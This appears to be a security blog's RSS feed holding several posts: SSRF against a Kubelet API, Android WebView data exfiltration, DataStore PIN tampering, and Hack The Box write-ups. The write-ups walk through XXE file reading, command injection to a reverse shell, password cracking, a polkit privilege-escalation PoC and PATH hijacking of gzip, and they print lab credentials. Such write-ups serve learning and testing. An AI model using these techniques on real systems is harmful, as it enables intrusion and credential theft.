<![CDATA[null]]>inesmartins.github.io/inesmartins.github.io/favicon.pngnullinesmartins.github.io/Ghost 4.7Mon, 01 Apr 2024 18:11:24 GMT60<![CDATA[Exploiting SSRF in Kubernetes]]>While testing an API that was exposed to the Internet, I found an unauthorised SSRF vulnerability that allowed me to trick the server into performing any GET request using http or https protocol.

I had access to the response (i.e.: this wasn't a blind SSRF), full control

]]>
inesmartins.github.io/exploiting-ssrf-in-k8s-environment/660ac0a92ac6400bb040b8bfMon, 01 Apr 2024 17:30:11 GMT

While testing an API that was exposed to the Internet, I found an unauthorised SSRF vulnerability that allowed me to trick the server into performing any GET request using http or https protocol.

I had access to the response (i.e.: this wasn't a blind SSRF), full control of the URI, but, as expected, could not control the request headers. Also, there was no rate limit.

While writing my report I explained how this vulnerability could be abused to bypass security controls, enumerate internal hosts and services, and even perform DoS attacks on third parties or internal services.

However, I wanted to go one step further.

I knew the containerised application ran on a GKE cluster, so I wanted to see how much of the internal k8s configuration I could exfiltrate.

After coming across this post I found that the Kubelet API allows you to retrieve information about each pod running on the host by calling the following endpoint:

http://<host_ip>:10255/pods

As described in the documentation:

The information is very detailed and includes the metadata, labels, annotations, owner references (for example the DaemonSet that owns the pod), volumes, containers, and status.

The response was a gold mine.

Note that I was also able to trigger unauthorised requests that relate to metrics, but the results were not as relevant:

http://<host_ip>:10255/metrics
http://<host_ip>:10255/metrics/cadvisor
http://<host_ip>:10255/metrics/probes

Let me know if you come across other ways to exploit this vulnerability ;)

]]>
<![CDATA[Exfiltrating data from Android applications via WebView Takeover (Open Redirect)]]>inesmartins.github.io/exfiltrating-data-via-webview-takeover/633da33c7f824771affc373eThu, 06 Oct 2022 13:45:32 GMT

In this article, I go through the scenarios in which I've been able to exfiltrate data from real Android applications, after detecting a WebView takeover (aka "Open Redirect") vulnerability.

Typically this vulnerability is the result of allowing an external Intent to control a URI that is loaded onto a WebView, declared inside the vulnerable application.

This Intent can sometimes be triggered via deep link, but more often than not, requires that a malicious application be installed in the victim's device.

Note that this article closely relates to the "Exploiting Deep Links in Android" series, particularly with Part 2.

1. Abusing Javascript Bindings

If the vulnerable WebView registers any web interfaces, and you're able to redirect it to a website you control, then you can simply add JavaScript to your website that interacts with the app's code directly.

If you can read the app's source code, search for any calls to the  addJavascriptInterface method, to find the name of the declared interface(s), and then you can find all of the exposed methods annotated with @JavascriptInterface.

On your website, your JS code can call all of the exposed methods by using the window.interface_name.method_name syntax.

Of course, the impact will vary depending on what the exposed methods allow you to do.

To see a more detailed example, check out this HackerOne report: https://hackerone.com/reports/401793.

2. Via Malicious app (< 24 SDK)

If the vulnerable WebView can load local file:// URIs, you might be able exfiltrate all of the app's files with a little help from a malicious application.

Here are the steps:

  1. the malicious application writes an HTML file to a shared directory, accessible by the vulnerable app (e.g.: /sdcard);
  2. the malicious application sends an Intent to the vulnerable app that contains a file:// URI that matches the location of the HTML file;
  3. the file:// URI is loaded by the vulnerable WebView;
  4. once the HTML file is loaded, the JS code declared inside this file reads all local files and sends them to a server you control.

Note that the following conditions need to be present in order for this to work:

  • the malicious app needs to be granted the WRITE_EXTERNAL_STORAGE permission and needs to be able to write to a shared location, which is only possible before the enforcement of "scoped storage" (< SDK 30);
  • the vulnerable app needs to be granted the READ_EXTERNAL_STORAGE permission and needs to be able to read from a shared location, same reason as above;
  • the vulnerable app needs to be able to read file:// URIs, which will throw an error after SDK 24 (you might get lucky if the developer actually intends for this to happen, and adds custom code to enable this behaviour);
  • the vulnerable WebView needs to have JS enabled.
]]>
<![CDATA[DataStore is the new SharedPreferences, old vulns still apply]]>inesmartins.github.io/when-not-to-use-jetpack-datastore/63238266fc8e93355628956cThu, 15 Sep 2022 20:19:46 GMT

Banner from https://medium.com/huawei-developers/jetpack-datastore-in-a-nutshell-88006b38fa68.


I've been out of the Android development game for a while, so I didn't know that Jetpack's DataStore was being commonly used instead of SharedPreferences:

SharedPreferences comes with several drawbacks: a synchronous API that can appear safe to call on the UI thread, no mechanism for signaling errors, lack of transactional API, and more.
DataStore is a replacement for SharedPreferences that addresses most of these shortcomings.
DataStore includes a fully asynchronous API using Kotlin coroutines and Flow, handles data migration, guarantees data consistency, and handles data corruption. [Source]

Neither DataStore nor SharedPreferences should be used to persist sensitive data ... but as we know, Insecure Data Storage is one of the most common vulnerabilities found in mobile applications.

So, I was auditing an application, and I ended up stumbling upon a
app-name.preferences_pb file under /data/data/app-name/files/datastore/ - I later learned that this is where the files generated by Proto DataStore are saved.

These files are serialized using Google's Protocol Buffers, which means we can use the protoc binary to read them.

protoc --decode_raw < appname.preferences_pb

Here, I found something interesting, a field that specified the maximum number of failed PIN code attempts that the user could perform.

There were definitely other ways to bypass this PIN feature but I wanted to prove a point: I wanted to show developers that trusting a local (unencrypted) file to make security decisions was not a good idea.

So, I thought I would just change the value on the file, and show them how easily we could brute-force all possible combinations.

However, changing this value compromised the ProtoBuf serialization. So, this is the only straightforward solution I've found so far:

  1. create a new Android application;
  2. import the DataStore library;
  3. add all the boilerplate code needed in order to write to the DataStore;
  4. set all of the same key/value combinations that were on the original (audited) application;
  5. change the values you want to manipulate;
  6. run the application;
  7. copy the DataStore file from the application to the application you want to manipulate:
~ adb pull /data/data/test-app/files/datastore/test-app.preferences_pb modified.preferences_pb

~ adb push modified.preferences_pb /data/data/audited-app/files/datastore/audited-app.preferences_pb 

And that's it!

The maximum number of failed PIN code attempts was increased, it was possible to brute-force the PIN code, and my developers learned their lesson :)

]]>
<![CDATA[HTB Write-up | Paper]]>A quick initial scan discloses web services running on ports 80 and 443, as well as an SSH server running on port 22:

~ nmap 10.10.11.143 -F -Pn

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

A closer look at these

]]>
inesmartins.github.io/htb-write-up-paper/62372fd922c479079cf78310Sat, 16 Jul 2022 15:19:29 GMT

A quick initial scan discloses web services running on ports 80 and 443, as well as an SSH server running on port 22:

~ nmap 10.10.11.143 -F -Pn

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

A closer look at these ports doesn't reveal anything too interesting, and both the secure and non-secure versions of the website show the same boilerplate content:

HTB Write-up | Paper

However, looking at the server response for this page, we can see an interesting header:

HTB Write-up | Paper

When we configure this virtual host locally, we see a blog for the "Blunder Tiffin Paper Company":

~ sudo nano /etc/hosts

...
10.10.11.143    office.paper
HTB Write-up | Paper

Going through the posts we can see some hints:

HTB Write-up | Paper

So, ... Prisonmike is supposed to be the only user but nick commented that they should "remove the secret content" from the drafts ... interesting.

Running nikto we can see that this is a Wordpress blog:

~ nikto -h http://office.paper/
...

+ Uncommon header 'link' found, with contents: <http://office.paper/index.php/wp-json/>; rel="https://api.w.org/"
+ Uncommon header 'x-redirect-by' found, with contents: WordPress

wpscan identified that the blog is using version 5.2.3 of Wordpress, which has many known vulnerabilities, however, one stands out, since it doesn't require valid credentials and it has to do with accessing user drafts:

~ wpscan --url office.paper --api-token <your-api-token>

...
| [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
...

Using the trick described in this blog post we find a draft post with some secrets:

HTB Write-up | Paper

So, there's a "Secret Registration URL of new Employee chat system", which is hosted at chat.office.paper, let's configure this virtual host:

~ sudo nano /etc/hosts

...
10.10.11.143    office.paper
10.10.11.143    chat.office.paper

Now, we can see the chat system and register a new account.
Turns out this application is an instance of RocketChat:

HTB Write-up | Paper

After scrolling to the top of the #general channel, we can see that there's a helpful bot called recyclops which, among other things, can fetch files in the local machine:

HTB Write-up | Paper

There's even a security-related warning:

HTB Write-up | Paper

Ok, let's see what this baby can do:

HTB Write-up | Paper

Let's see if we can list other directories ...

~ list ../

total 56
drwx------ 12 dwight dwight 4096 Mar 20 10:52 .
drwxr-xr-x. 3 root root 20 Mar 20 10:54 ..
-rw------- 1 dwight dwight 1486 Mar 20 11:21 .bash_history
-rw-r--r-- 1 dwight dwight 18 May 10 2019 .bash_logout
-rw-r--r-- 1 dwight dwight 141 May 10 2019 .bash_profile
-rw-r--r-- 1 dwight dwight 358 Jul 3 2021 .bashrc
-rwxr-xr-x 1 dwight dwight 1174 Sep 16 2021 bot_restart.sh
drwx------ 2 dwight dwight 6 Mar 18 12:47 .cache
drwx------ 5 dwight dwight 56 Jul 3 2021 .config
-rw------- 1 dwight dwight 18 Mar 19 02:39 .dbshell
-rw------- 1 dwight dwight 16 Jul 3 2021 .esd_auth
drwx------ 3 dwight dwight 69 Mar 19 02:39 .gnupg
drwx------ 8 dwight dwight 4096 Mar 19 10:11 hubot
-rw-rw-r-- 1 dwight dwight 18 Sep 16 2021 .hubot_history
drwx------ 3 dwight dwight 19 Jul 3 2021 .local
drwxr-xr-x 4 dwight dwight 39 Jul 3 2021 .mozilla
drwxrwxr-x 5 dwight dwight 83 Jul 3 2021 .npm
-rw------- 1 dwight dwight 7 Mar 18 12:56 .python_history
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 sales
drwx------ 2 dwight dwight 6 Sep 16 2021 .ssh
-r-------- 1 dwight dwight 33 Mar 18 01:54 user.txt
drwxr-xr-x 2 dwight dwight 24 Sep 16 2021 .vim
-rw------- 1 dwight dwight 2657 Mar 20 08:31 .viminfo

The hubot directory looks interesting, particularly because it has a .env file, which usually stores credentials:

list ../hubot
...
-rw-r--r-- 1 dwight dwight 258 Sep 16 2021 .env

Yes, we have some creds!

~ file ../hubot/.env

export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1

And we can use them to SSH into the machine as dwight!

HTB Write-up | Paper

linpeas.sh is pretty good at identifying privilege escalation issues, so let's start by sending the script to the machine's /tmp file:

~ scp linpeas.sh dwight@10.10.11.143:/tmp
~ ssh dwight@10.10.11.143

[dwight@paper ~]$ cd /tmp/
[dwight@paper tmp]$ chmod +x linpeas.sh
[dwight@paper tmp]$ ./linpeas.sh

When we run this script we immediately get a warning that the machine is vulnerable to CVE-2021-3560:

HTB Write-up | Paper

OK, let's grab a poc and send it to the /tmp dir:

~ scp -r CVE-2021-3560.py dwight@10.10.11.143:/tmp/CVE-2021-3560.py
~ ssh dwight@10.10.11.143

[dwight@paper ~]$ python3 CVE-2021-3560.py

[root@paper dwight]# cd /root
[root@paper ~]# cat root.txt
580aba1066f998cbf4a03deb6f758717

Just like that, we're done!


]]>
<![CDATA[Creating a very spammable endpoint with Oracle APEX Restful Services]]>I'm helping an organisation that has a very simple (and very static) corporate website. They were interested in adding a contact form, and wanted the data to be sent to their APEX-managed database.

Building an entire back-end service for this purpose seemed like too much work,  so

]]>
inesmartins.github.io/creating-a-very-spammable-endpoint-with-apex-restful-services/627664568b67d59413e27ad7Sat, 07 May 2022 15:35:26 GMT

I'm helping an organisation that has a very simple (and very static) corporate website. They were interested in adding a contact form, and wanted the data to be sent to their APEX-managed database.

Building an entire back-end service for this purpose seemed like too much work,  so I decided to give APEX's RESTful Services a try:

RESTful Services enable the creation of a set of standards-based API’s on top of database objects available for a workspace. Without connecting directly to the underlying data source these API’s allow external systems to interact securely with the data by querying, inserting, updating or deleting.

I started by creating a new CONTACT_REQUEST table:

Creating a very spammable endpoint with Oracle APEX Restful Services

Then, on the "Restful Data Services" page (under SQL Workshop), I created a new ORDS (Oracle REST Data Services) Module called forms:

Creating a very spammable endpoint with Oracle APEX Restful Services

Note that I've added the website's domain to the "Origins Allowed" field to allow the website to access the response from this cross-origin request.

Under this new module, I created a Template called contact:

Creating a very spammable endpoint with Oracle APEX Restful Services

Finally, I created a Handler for this template:

Creating a very spammable endpoint with Oracle APEX Restful Services

The most important part of the handler configuration is the PL/SQL block. I used the script shown below to insert the data received in the request into the CONTACT_REQUEST table, and define a status variable with value 201, which is the success status code:

Creating a very spammable endpoint with Oracle APEX Restful Services

In order for the status code to be returned, I also needed to add the X-APEX-STATUS-CODE header configuration at the bottom of the page:

Creating a very spammable endpoint with Oracle APEX Restful Services

In just a couple of minutes, I had my new endpoint:

Creating a very spammable endpoint with Oracle APEX Restful Services

And as you can see the data is added to the new database, as expected:

Creating a very spammable endpoint with Oracle APEX Restful Services

This looks very spammable

It is.

From what I could find, APEX doesn't support rate limiting, so there's not much else I can do to prevent someone from finding this endpoint and spamming it for fun.

Since the client is communicating directly with APEX, I can't think of any alternative way to throttle requests.

Finally, if you've been paying attention I've been obscuring the sub-directory that APEX assigned for my organisation, which was based on the "schema" that I set at the start of this process.

This means that a simple Google Dork may allow you to enumerate all endpoints of this type, and most likely find many that don't enforce authorisation, either on purpose (which is the case here), or by mistake.

In fact, the oracle.txt SecList already has some popular name-patterns.

Creating a very spammable endpoint with Oracle APEX Restful Services

Have fun 😉

]]>
<![CDATA[How to import mySQL data into Oracle APEX (the hard way)]]>Oracle Application Express (APEX) is a low-code development platform that enables you to build scalable, secure enterprise apps, with world-class features, that can be deployed anywhere.

Recently I was asked to import a mySQL database into APEX.

Although support for mySQL databases is on the roadmap, it seems like for

]]>
inesmartins.github.io/how-to-import-mysql-data-into-orable-apex/62345300d262e33a24f282d8Fri, 18 Mar 2022 10:16:10 GMTOracle Application Express (APEX) is a low-code development platform that enables you to build scalable, secure enterprise apps, with world-class features, that can be deployed anywhere.How to import mySQL data into Oracle APEX (the hard way)

Recently I was asked to import a mySQL database into APEX.

Although support for mySQL databases is on the roadmap, it seems like for now there's no straightforward way to import this data ... so here's a tutorial on how to do it the hard way.

Under "SQL Workshop" > "Utilities" > "Data Workshop" you can see that there's a feature that allows you to load data in multiple formats, including csv:

How to import mySQL data into Oracle APEX (the hard way)

So, I decided to create a Python script to grab the data from each of the tables in the mySQL database and export it as an individual csv file:

In order to run this script, make sure to install mysql-connector-python:

~ python3 -m pip install mysql-connector-python

Then, you can simply run:

~ python3 mysql-to-csv.py

By the end, you should have a directory full of csv files which you can import, as such:

How to import mySQL data into Oracle APEX (the hard way)

Note that you can only load one file at a time, and you also need to manually add the table's name.

Once you're done with importing the data you can go to "SQL Workshop" > "Object Browser" and see all of your tables, which you can then modify as needed:

How to import mySQL data into Oracle APEX (the hard way)

Unfortunately, using this method you also need to add all of the constraints by hand.

I'm sure there is a better way to do this, but in the meanwhile here's a bad workaround, hope it helps!

]]>
<![CDATA[HTB Write-up | Previse]]>Retired machine can be found here.


Scanning

As always, we start by mapping the previse.htb hostname to the given IP:

~ sudo nano /etc/hosts

10.10.11.104  previse.htb

The nmap scan is pretty boring, it seems there's a web server running on port 80 and

]]>
inesmartins.github.io/htb-write-up-previse/61d17eafa85f99e081fdd052Fri, 21 Jan 2022 11:04:08 GMT

Retired machine can be found here.


Scanning

As always, we start by mapping the previse.htb hostname to the given IP:

~ sudo nano /etc/hosts

10.10.11.104  previse.htb

The nmap scan is pretty boring, it seems there's a web server running on port 80 and an SSH server on port 22:

~ nmap 10.10.11.104

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

~  nmap 10.10.11.104 -sC -sV -A -p 22,80

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

When we access previse.htb we're redirected to the login page:

HTB Write-up | Previse

Let's try to enumerate some directories and files with gobuster:

~ gobuster dir \
-u http://previse.htb \
-c PHPSESSID=r989gcoqshohp5v8thvcji2sh2 \
-x php \
-w ../seclists/big.txt \   
-s 200 -b 403,404 --wildcard

[...]

/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/config.php           (Status: 200) [Size: 0]                   
/css                  (Status: 301) [Size: 308] [--> http://previse.htb/css/]
/download.php         (Status: 302) [Size: 0] [--> login.php]                
/favicon.ico          (Status: 200) [Size: 15406]                            
/files.php            (Status: 302) [Size: 8377] [--> login.php]             
/footer.php           (Status: 200) [Size: 217]                              
/header.php           (Status: 200) [Size: 980]                              
/index.php            (Status: 302) [Size: 2801] [--> login.php]             
/js                   (Status: 301) [Size: 307] [--> http://previse.htb/js/] 
/login.php            (Status: 200) [Size: 2224]                             
/logout.php           (Status: 302) [Size: 0] [--> login.php]                
/logs.php             (Status: 302) [Size: 0] [--> login.php]
/nav.php              (Status: 200) [Size: 1248]
/status.php           (Status: 302) [Size: 2970] [--> login.php] 

All of the pages either redirect to login.php or have no interesting content, except for the nav.php which has some interesting links:

HTB Write-up | Previse

The links are:

  • Home: /index.php
  • Accounts + Create Account: /accounts.php
  • Files: /files.php
  • Management Menu + Website Status: /status.php
  • Log data: /file_logs.php

... but they all redirect to login.php since we're not authenticated.

Bypassing Authentication

The accounts.php page seems the most interesting, maybe we can try some other HTTP methods:

HTB Write-up | Previse

Using this POST request we can create a new user and then use these creds to log in:

HTB Write-up | Previse

Exploring the website

On the files.php page there are clearly some attempts to upload reverse shells, as well as a zip file that contains the site backup:

HTB Write-up | Previse

In the backup we can see that the config.php file contains the DB credentials:

HTB Write-up | Previse

But the logs.php has the most potential, since there's a call to an exec function that uses a parameter sent via POST request:

HTB Write-up | Previse

We already know the format of this POST request since it's the one performed on the file_logs.php page:

POST /logs.php HTTP/1.1
Host: previse.htb
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://previse.htb
Connection: close
Referer: http://previse.htb/file_logs.php
Cookie: PHPSESSID=prod44vfotfs0nvgir215458f0
Upgrade-Insecure-Requests: 1

delim=tab

When we change this delim parameter to send a curl request to a simple local web server we get a ping back!

HTB Write-up | Previse

So, let's go for the reverse shell:

HTB Write-up | Previse

We're in!


Becoming m4lwhere

First order of business: upgrade the shell!

~ python -c 'import pty; pty.spawn("/bin/bash")'

Let's see what else is there:

bash-4.4$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

We have access to m4lwhere's home directory, but not to the user flag:

bash-4.4$ cd /home/m4lwhere

bash-4.4$ ls
user.txt

bash-4.4$ cat user.txt
cat: user.txt: Permission denied

Let's dump the database, since we already have the creds:

bash-4.4$ mysqldump -u root -p --all-databases > db_dump.sql

Enter password: mySQL_p@ssw0rd!:)

There's a hashed password for the m4lwhere user on the accounts table:

CREATE TABLE `accounts` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(255) NOT NULL,
  `created_at` datetime DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;

INSERT INTO `accounts` VALUES 
(1,'m4lwhere','$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.','2021-05-27 18:18:36'),
[...]

Save me hashcat!

~ nano hash

$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

~ hashcat -a 0 -m 500 hash ../seclists/pwds/rockyou.txt --show
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

We got the password!

~ ssh m4lwhere@previse.htb

m4lwhere@previse.htb's password: 
> ilovecody112235!

[...]

bash-4.4$ cat user.txt 
cff266072b891cf5458d490516040d5b

Road to root

After some poking around I went back to the /opt/script directory:

bash-4.4$ cd /opt/scripts/

bash-4.4$ ls -la
total 16
drwxr-xr-x 2 root     root     4096 Jul 26 18:41 .
drwxr-xr-x 3 root     root     4096 Jul 26 18:41 ..
-rwxr-xr-x 1 root     root      486 Jun  6  2021 access_backup.sh
-rw-r--r-- 1 m4lwhere m4lwhere  320 Jun  6  2021 log_process.py

The access_backup.sh file looks very interesting:

bash-4.4$ cat access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

OK, what if we poison the gzip binary:

bash-4.4$ which gzip
/bin/gzip

bash-4.4$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

bash-4.4$ echo "rm /tmp/pwd" > /tmp/gzip
bash-4.4$ chmod 777 /tmp/gzip 
bash-4.4$ export PATH=/tmp:$PATH
bash-4.4$ cd /opt/scripts/
bash-4.4$ sudo ./access_backup.sh 
> ilovecody112235!
bash-4.4$ cat /tmp/pwd 
b3ca53edb5aecbbc2cd1456f3454cb47

We're done babyyyyy!


]]>
<![CDATA[HTB Write-up | BountyHunter]]>Retired machine can be found here.


Scanning

Like with most HTB machines, a quick scan only disclosed SSH running on port 22 and a web server running on port 80:

~ nmap 10.10.11.100

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

~ nmap 10.10.11.
]]>
inesmartins.github.io/htb-write-up-bountyhunter/613e61d1ca603212098f67b8Mon, 29 Nov 2021 23:14:17 GMT

Retired machine can be found here.


Scanning

Like with most HTB machines, a quick scan only disclosed SSH running on port 22 and a web server running on port 80:

~ nmap 10.10.11.100

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

~ nmap 10.10.11.100 -sC -sV -A -p 22,80

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters

The website seems to be the corporate page for "The B Team": they're bounty hunters, security researchers, and can also use Burp ... impressive stuff.

HTB Write-up | BountyHunter

The "Portal" link sends us to a portal.php page, which itself links to a page that contains "the bounty tracker" - note that the portal itself is "under development":

HTB Write-up | BountyHunter

The "bounty tracker" aka the "Bounty Report System" is hosted at /log_submit.php and is still in beta:

HTB Write-up | BountyHunter

We're also able to navigate the /resources directory, which contains some interesting files:

HTB Write-up | BountyHunter

The most interesting, at first glance, seems to be this note:

HTB Write-up | BountyHunter

A lot to unpack here:

  • there's a test account on the portal that supports nopass;
  • we should probably take a look at the "tracker submit script";
  • this script is not yet connected to a DB;
  • there's a developer group somewhere, that used to have too many permissions.

Running nikto we also found a db.php file:

~ nikto -host 10.10.11.100
...
OSVDB-3093: /db.php: This might be interesting... has been seen in web logs from an unknown scanner.

And indeed, unlike other random (non-existing) files, this one doesn't return 404, but also doesn't return any data.


XXE to LFI

The /resources/bountylog.js file seems to be the aforementioned "tracker submit script". As you can see below, this script:

  • takes the values from the form submitted on the log_submit.php page
  • builds an XML string
  • base64-encodes this data
  • sends it to /tracker_diRbPr00f314.php via POST request
HTB Write-up | BountyHunter

In response, this /tracker_diRbPr00f314.php page displays the submitted data, and also an interesting message: "If DB were ready, would have added: [...]" - this lets us know that the DB is not yet configured:

HTB Write-up | BountyHunter

Since the data is sent via XML I wanted to see if I could manipulate this payload in a way that achieves LFI using XXE. As always, I created a Python script to help me test ideas out:

Turns out, the application is vulnerable to XXE - as an example we can see the output of the /etc/passwd file:

HTB Write-up | BountyHunter

LFI to RCE

After running this script with a few different SecLists (and creating some lists of my own), I was able to get the exact Linux version:

Linux version 5.4.0-80-generic (buildd@lcy01-amd64-030) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021

... as well as the most interesting users:

# /etc/passwd
...
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash
...

After changing the script to use php://filter/read=convert.base64-encode/resource= instead of file:// for files ending in .php, I also had access to all of the project's files, including the DB:

~ python3 xxe-script.py -url http://10.10.11.100/tracker_diRbPr00f314.php -pathlist wordlists/custom-finding-webserver-files.txt
Checking /var/www/html/db.php
	File contains data!
Checking /var/www/html/index.php
	File contains data!
Checking /var/www/html/portal.php
	File contains data!
Checking /var/www/html/log_submit.php
	File contains data!
Checking /var/www/html/tracker_diRbPr00f314.php
	File contains data!
Checking /var/www/html/resources/README.txt
	File contains data!
Checking /var/www/html/resources/lato.css
	File contains data!
Checking /var/www/html/resources/monsterat.css
	File contains data!
Checking /var/www/html/resources/all.js
Checking /var/www/html/resources/bootstrap.bundle.min.js
Checking /var/www/html/resources/bootstrap_login.min.js
Checking /var/www/html/resources/bountylog.js
Checking /var/www/html/resources/jquery.easing.min.js
Checking /var/www/html/resources/jquery.min.js
Checking /var/www/html/resources/jquery_login.min.js
HTB Write-up | BountyHunter

Luckily for us, someone used the same creds for the DB and SSH access, so I got a shell:

~ ssh development@10.10.11.100
> m19RoAU0hP41A1sTsq6K

R00ting

Once in the user's /home directory, I could see a message from John to other developers:

~ ls -la
lrwxrwxrwx 1 root        root           9 Apr  5 22:53 .bash_history -> /dev/null
-rw-r--r-- 1 development development  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 development development 3771 Feb 25  2020 .bashrc
drwx------ 2 development development 4096 Apr  5 22:50 .cache
lrwxrwxrwx 1 root        root           9 Jul  5 05:46 .lesshst -> /dev/null
drwxrwxr-x 3 development development 4096 Apr  6 23:34 .local
-rw-r--r-- 1 development development  807 Feb 25  2020 .profile
drwx------ 2 development development 4096 Apr  7 01:48 .ssh
-rw-r--r-- 1 root        root         471 Jun 15 16:10 contract.txt
-r--r----- 1 root        development   33 Sep 19 06:18 user.txt
$ cat contract.txt
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

John seems to be referring to some "internal tool" sent by "Skytrain Inc", so I tried to find any other reference to this company. Under /opt I got some interesting matches:

$ grep -Rils 'Skytrain' /opt

/opt/skytrain_inc/ticketValidator.py
/opt/skytrain_inc/invalid_tickets/390681613.md
/opt/skytrain_inc/invalid_tickets/734485704.md
/opt/skytrain_inc/invalid_tickets/529582686.md
/opt/skytrain_inc/invalid_tickets/600939065.md

The ticketValidator.py seems interesting:

~ ls -la /opt/skytrain_inc/ticketValidator.py
-r-xr--r-- 1 root root 1471 Jul 22 11:08 /opt/skytrain_inc/ticketValidator.py

When we run it using some of the tickets in the same directory, we see that these tickets are invalid:

$ python3 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/opt/skytrain_inc/invalid_tickets/390681613.md
Destination: New Haven
Invalid ticket.

